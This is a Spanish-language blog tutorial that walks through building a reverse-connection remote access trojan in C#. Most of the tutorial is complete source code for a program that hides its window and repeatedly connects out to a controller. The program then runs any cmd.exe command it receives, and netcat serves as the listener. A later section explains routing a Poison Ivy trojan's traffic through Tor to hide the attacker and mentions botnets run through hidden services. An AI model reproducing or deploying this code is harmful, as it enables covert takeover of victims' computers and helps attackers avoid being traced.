Como crear un Troyano en C#
Creando un Troyano en C#
En este tuto voy a enseñar cómo
crear el principio de un RAT de conexión inversa.
En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar
algún otro IDE.
***************Creando el Servidor*************
Crearemos un servidor muy simple que lo que hará será esperar a que el cliente
se conecte esto será mediante un ciclo infinito con una pausa del tiempo que
nosotros indiquemos
Abrimos vs y creamos un nuevo proyecto de winform, y dos clases con el nombre
que queramos en mi caso el nombre dle proyecto es Server, clase Servidor y
Utilidades:
Primero escribiremos la clase servidor
agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:
Código:
using
System.IO; //Streams
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos
y nuestra clase quedará de la sig. manera:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos
namespace Server
{
public class Servidor
{
private string ip;
private int port;
private TcpClient tcpClient;
private NetworkStream ns;
private StreamReader sr;
private StreamWriter sw;
private StringBuilder sb;
public Servidor(string ip, int port)
{
this.ip = ip;
this.port = port;
}
private enum mensajes
{
CD,
Mensaje
}
public void iniciar(int tiempo)
{
EjecutarServidor();
Thread.Sleep(tiempo);
}
private void EjecutarServidor()
{
tcpClient = new TcpClient();
sb = new StringBuilder();
if (!tcpClient.Connected)
{
try
{
tcpClient.Connect(ip, port);
ns =
tcpClient.GetStream();
sr = new
StreamReader(ns);
sw = new
StreamWriter(ns);
}
catch (Exception)
{
return;
}
for (; ; )
{
try
{
sb.Append(sr.ReadLine());
LeerDatos(sb.ToString());
sb.Remove(0, sb.Length);
}
catch
(Exception)
{
limpiar();
break;
}
}
}//fin del if
}//fin del metodo EjecutarServidor
private void LeerDatos(string datos)
{
string[] cadena = datos.Split('$');
if (String.Compare(cadena[0],
mensajes.Mensaje.ToString()) == 0)
{
Utilidades.mandarMensaje(cadena[1]);
}
}//fin de LeerDatos
private void limpiar()
{
sr.Close();
sw.Close();
ns.Close();
}//fin de limpiar
}//fin clase servidor
}
Aquí he creado las variables que necesitamos para conectarnos al cliente, esto
es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader
que usaremos para escuchar los mensajes que el cliente escriba.
Usé una variable del tipo enum, esto es para validar los mensajes del cliente,
esto lo hacemos de la sig forma:
si el cliente escribe por ejemplo "MandarMensaje" el servidor compara
ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea
que escribamos en la clase Utilidades.
En el método iniciar hemos creado un bucle donde se ejecutará el método
Ejecutar Servidor y ademas hará una pausa de x mili-segundos.
El sig. método es el corazón del servidor, aquí intentaremos conectarnos y
escucharemos los mensajes que el cliente nos pase
Los mensajes los validaremos en el metodo LeerDatos donde mandarémos como
parametros el mensaje que el cliente escriba
Aquí mediante un string.compare() validamos si el mensaje es igual a lo que
esperámos y si es así entonces ejecutarémos lo que haya en Utilidades
además usamos un split para seprar el mensaje del cliente, mas adelante con un
ejemplo mostraré lo que realmente hace
el ultimo metodo es limpiar, aqui cerrarémos los streams.
ahora en la clase Utilidades, vamos a indicarle que sea estatica para no tener
que instanciarla cada vez que la querámos utilizar
aqui simplemente se ejecuta un MessageBox.Show con el mensaje que el cliente
haya escrito.
***************Usando la clase*************
ahora solo nos queda irnos al form y en el evento load de nuestro form y
escribimos lo sig:
crearemos dos variables
Código:
private Servidor servidor;
private int tiempoRecon;
en el contructor las asignarémos:
Código:
servidor = new
Servidor("127.0.0.1", 9999);
tiempoRecon = 5000;
y el el evento load ejecutarémos nuestra clase:
Código:
private void Form1_Load(object
sender, EventArgs e)
{
this.Hide();
for (; ; )
{
servidor.iniciar(tiempoRecon);
}
}
el codigo completo es el sig:
Código:
using
System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server
{
public partial class Form1 : Form
{
private Servidor servidor;
private int tiempoRecon;
public Form1()
{
InitializeComponent();
servidor = new
Servidor("127.0.0.1", 9999);
tiempoRecon = 5000;
}
private void Form1_Load(object sender, EventArgs e)
{
this.Hide();
for (; ; )
{
servidor.iniciar(tiempoRecon);
}
}
}
}
***************Usar Netcat o Cryptcat como cliente*************
Como mandar los mensajes de un cliente.
bueno es muy facil podemos crear otra aplicación pero en este caso usarémos al
viejo netcat o cryptcar
lo colocámos en c:\ y abrimos linea de comandos:
Código:
nc.exe -lvp 9999
ejecutamos nuestro servidor y verémos como estámos conectados
ahora solo escribirémos lo sig:
Mensaje$HolaDesdeElCliente
y verémos como se abre el MessageBox del servidor con el mensaje HolaDesdeElCliente
el mensaje del cliente como dije antes se valida en el metodo LeerDatos(string
datos)
donde el parametro datos en este caso va a ser igual a
"Mensaje$HolaDesdeElCliente"
y mediante el metodo string.split() vamos a separar en un arreglo todo el
mensaje que haya antes del signo "$" y todo lo que haya despues
en este caso quedará asi:
Código:
string[] cadena = datos.Split('$');
siendo:
cadena[0] //Mensaje
y
cadena[1] //HolaDesdeElCliente
si escribimos cualquier otra cosa verémos que nuestro servidor no hace
absolutamente nada.
pero bueno ya con ese estoy seguro que se les ocurrirá muchas cosas
bueno ahora verémos como hacerlo a la inversa (del servidor al cliente)
un ejemplo extremandamente sencillo será mandar un mensaje de Bienvenida una
vez que el cliente se conecte
esto lo haremos simplemnete usando el metodo writeline de nuestro StreamWriter
solamente agregruen los sig. despues de que tcpclient se conecte:
Código:
sw.WriteLine("Hola");
sw.Flush();
con eso mandamos un mensaje mediante writeline y mediante flush borramos todos
los búferes
una vez sabiendo esto es facil deducir lo que podemos hacer por ejemplo sería
creando otra validacion en nuestro metodo LeerDatos
quedaría de la sig forma en pseudocdigo:
Código:
si el mensaje del cliente es igual a
"dameIP" entonces
ejecutamos el metodo Utilidades.obtenerIP
y ese resultado lo mandamos mendiante writeline
como ven es muy facil crear un troyano simple.
ahora les voy a enseñar como mandar comandos cmd a nuestro servidor
agregamos un valor a la variable enum mensajes en mi caso quedó así:
Código:
private enum mensajes
{
CD,
Mensaje,
comando
}
y validamos el mensaje en el metodo LeerDatos
Código:
if (String.Compare(cadena[0],
mensajes.comando.ToString()) == 0)
{
Utilidades.consola(cadena[1]);
}
agregamos el sig. namespace en nuestra clase utilidades:
Código:
using System.Diagnostics;
y creamos el sig metodo en la clase Utilidades
Código:
public static void consola(string
comando)
{
Process cmd = new Process();
cmd.StartInfo.FileName =
"cmd.exe";
cmd.StartInfo.RedirectStandardInput =
true;
cmd.StartInfo.RedirectStandardOutput
=
true;
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute =
false;
cmd.Start();
cmd.StandardInput.WriteLine(comando);
cmd.StandardInput.Flush();
cmd.StandardInput.Close();
}
cómo ocultar las conexiones de
nuestros troyanos a través de tor,
este es un ejemplo meramente ilustrativo ya que requiere de nuestra
intervención pero que fácilmente puede automatizarse y mejorarse ;)
Lo que necesitaremos es:
- 1 cliente tor, en este caso utilizaremos el Advanced Onion Router (Advor) por
ciertas comodidades y configuraciones predeterminadas, lo encuentran en Google
y es opensource.
- 1 Troyano de vuestra preferencia, yo usaré el siempre fiel poison ivy.
- Pimienta al gusto :)
Bueno comenzamos con configurar un servidor de la manera más tradicional
contraseña puertos etc, nada del otro mundo, ni lo inyectaremos en ningún
proceso para hacerlo visible en el taskmanager.
Abriremos el Advor y le pondremos conectar no moveremos nada más para este tuto
pero pueden hacerlo si gustan, añadir mas relays ips especificas etc etc:
Una vez conectado a la red seleccionamos la pestaña proxy y abriremos nuestro
server desde aquí:
¿Cómo funciona?
Ejecuta el server normalmente pero las conexiones que pudieran existir del
programa seleccionado las va a redirigir hacia la red tor que es lo que
queremos. También se puede interceptar el programa ya ejecutándose por eso lo
dejamos visible en taskmanager.
Como ven conecta perfectamente en este caso con una ip al parecer Rusa y un
ping de su puta madre.
¿Que si hace este método y que no hace?
Oculta la conexión de salida de nuestra Ip y puerto 3460, como pueden ver
solamente aparece la conexión hacia Tor en el puerto default 9001
-No se puede ejecutar a la inversa, es decir poner el cliente del poison a la
escucha, ya que tor simplemente bloquea todas las conexiones de entrada solo
sirve del lado del server
-Añade cierto grado de anonimato, ¡PERO!, Si nos pusiéramos muy quisquillosos y
pasaramos un sniffer en local se verían las conexiones de nuestro servidor
hacia el cliente tor (y de ahí hacia la red como la imagen anterior), además de
que no sabríamos quien controla el ultimo nodo pero como es con fines
didácticos en este caso no importa.
-cada vez que el cliente cambie de ip se desconectara y reconectara con una
nueva ip, también hay que tomar en cuenta que la velocidad variara dependiendo
del circuito, pero en general es bastante lenta
-Existía un plugin de bifrost que hacia algo muy similar a lo que aquí hacemos
pero necesitaba de ciertas configuraciones especiales por lo cual no funcionaba
Este pequeño tutorial en modo grafico es solo una aproximación al uso de la red
Tor con malware, como mencionaba se puede pulir demasiado, tanto hasta el grado
de tener una botnet apuntando hacia un hidden service dentro de tor sin revelar
ninguna ip como al parecer sucedió en los últimos días con el aumento de esta
red.
No me hago responsable del mal uso que le puedan dar a esta información y
tampoco sean confiados ya que no existe el 100% de anonimato, así que sean
prudentes con lo que hacen, espero les haya gustado y cualquier comentario es
bien recibido.
No hay comentarios.